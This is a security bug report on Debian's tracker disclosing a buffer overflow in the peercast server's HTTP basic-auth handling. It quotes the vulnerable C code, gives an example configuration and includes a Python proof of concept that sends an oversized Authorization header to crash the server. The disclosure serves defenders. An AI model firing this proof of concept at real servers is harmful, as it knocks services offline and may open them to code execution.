Package: peercast Severity: grave Tags: security X-Debbugs-CC: [EMAIL PROTECTED]
I found a security issue in the peercast server in the HTTP::getAuthUserPass function. I already contacted the upstream author 6 days ago and didn't get an answer yet so I am publishing this now. From core/common/http.cpp: 105 void HTTP::getAuthUserPass(char *user, char *pass) 106 { 107 if (arg) 108 { 109 char *s = stristr(arg,"Basic"); 110 if (s) 111 { 112 while (*s) 113 if (*s++ == ' ') 114 break; 115 String str; 116 str.set(s,String::T_BASE64); 117 str.convertTo(String::T_ASCII); 118 s = strstr(str.cstr(),":"); 119 if (s) 120 { 121 *s = 0; 122 if (user) 123 strcpy(user,str.cstr()); 124 if (pass) 125 strcpy(pass,s+1); This function is used if authentication to the peercast server is done by basic http auth rather than by a cookie. In line 116 the base64 encoded string is copied into str. Note the set method is peercasts own implementation of set since it reimplements the String class. set looks like this: From core/common/sys.h: 38 MAX_LEN = 256 ... 62 void set(const char *p, TYPE t=T_ASCII) 63 { 64 strncpy(data,p,MAX_LEN-1); 65 data[MAX_LEN-1] = 0; 66 type = t; 67 } In line 117 the string gets decoded and in line 118 and following the part before ':' in the decoded string gets copied into user and the part after it into pass. From core/common/servhs.cpp: 558 bool Servent::handshakeAuth(HTTP &http,const char *args,bool local) 559 { 560 char user[64],pass[64]; 561 user[0] = pass[0] = 0; ... 580 while (http.nextHeader()) 581 { 582 char *arg = http.getArgStr(); 583 if (!arg) 584 continue; 585 586 switch (servMgr->authType) 587 { 588 case ServMgr::AUTH_HTTPBASIC: 589 if (http.isHeader("Authorization")) 590 http.getAuthUserPass(user,pass); 591 break; user and pass are only declared to have 64 bytes (line 558) while the buffer used for copy can store up to MAX_LEN (256) bytes (ok minus the : here). Servent::handshakeAuth calls then the getAuthUserPass function triggering a buffer overflow. It's thus possible to crash the server and execute arbitrary code if the server allows http-basic authentication. I already requested a CVE id for this. An example configuration and PoC is attached. Kind regards Nico -- Nico Golde - http://www.ngolde.de - [EMAIL PROTECTED] - GPG: 0x73647CFF For security reasons, all text in this mail is double-rot13 encrypted.
[Server] serverPort = 7144 autoServe = Yes forceIP = isRoot = No maxBitrateOut = 0 maxRelays = 2 maxDirect = 0 maxRelaysPerChannel = 0 firewallTimeout = 30 forceNormal = No rootMsg = authType = http-basic cookiesExpire = session htmlPath = html/en minPGNUIncoming = 10 maxPGNUIncoming = 20 maxServIn = 50 chanLog = networkID = 00000000000000000000000000000000 [Broadcast] broadcastMsgInterval = 10 broadcastMsg = icyMetaInterval = 8192 broadcastID = 008145B5C0427118B595AF7D9E110000 hostUpdateInterval = 180 maxControlConnections = 3 rootHost = yp.peercast.org [Client] refreshHTML = 5 relayBroadcast = 30 minBroadcastTTL = 1 maxBroadcastTTL = 7 pushTries = 5 pushTimeout = 60 maxPushHops = 8 autoQuery = 0 queryTTL = 7 [Privacy] password = s0mep4ss maxUptime = 0 [Filter] ip = 255.255.255.255 private = Yes ban = No network = Yes direct = Yes [End] [Notify] PeerCast = Yes Broadcasters = Yes TrackInfo = Yes [End] [Server1] allowHTML = Yes allowBroadcast = Yes allowNetwork = Yes allowDirect = Yes [End] [Server2] allowHTML = No allowBroadcast = Yes allowNetwork = No allowDirect = No [End] [Debug] logDebug = No logErrors = No logNetwork = No logChannel = No pauseLog = No idleSleepTime = 10
#!/usr/bin/env python import sys, socket port = 7144 buff = 'GET /http/ HTTP/1.1\n' buff+= 'Connection: close\n' buff+= 'Accept: */*\n' buff+= 'Authorization: Basic OmZ' + 'vb29'*128 + 'vbwo=' + '\r\n' if(len(sys.argv) < 2): print "ERR: please specify a hostname" sys.exit(-1) try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((sys.argv[1], port)) s.send(buff); except: print "ERR: socket()" sys.exit(-1)
pgp8WFhNsuC0S.pgp
Description: PGP signature